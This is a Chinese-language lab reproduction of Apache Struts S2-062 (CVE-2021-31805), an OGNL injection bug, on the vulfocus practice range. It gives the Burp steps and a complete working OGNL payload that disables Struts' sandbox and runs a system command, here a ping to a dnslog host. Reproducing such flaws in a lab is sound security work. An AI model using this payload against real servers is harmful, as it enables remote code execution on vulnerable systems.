S2-062_RCE漏洞复现(CVE-2021-31805)
一、漏洞描述
该漏洞是由于对S2-061(CVE-2020-17530)的修复不完整,在Apache Struts 2.0.0-2.5.29版本范围内,如果开发人员使用 %{xxx} 语法进行强制OGNL解析时,标签的某些属性仍然可被二次解析。当解析未经验证的用户输入时可能会导致远程代码执行。
二、影响范围
2.0.0 <= Struts >=2.5.29
三、漏洞复现
复现环境:vulfocus靶场
注册登录后启动CVE-2021-31805漏洞环境
访问漏洞地址,访问地址+测试路径。
这里使用Post方式传参,如果使用Get方法,抓包时需将Get改为Post。
burp抓包发送Repeater,在name参数后插入payload。
由于靶场无回显,这里使用dnslog探测。
payload:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))
这里将payload进行URL编码后发送,可在dnslog平台看到有响应,说明漏洞存在。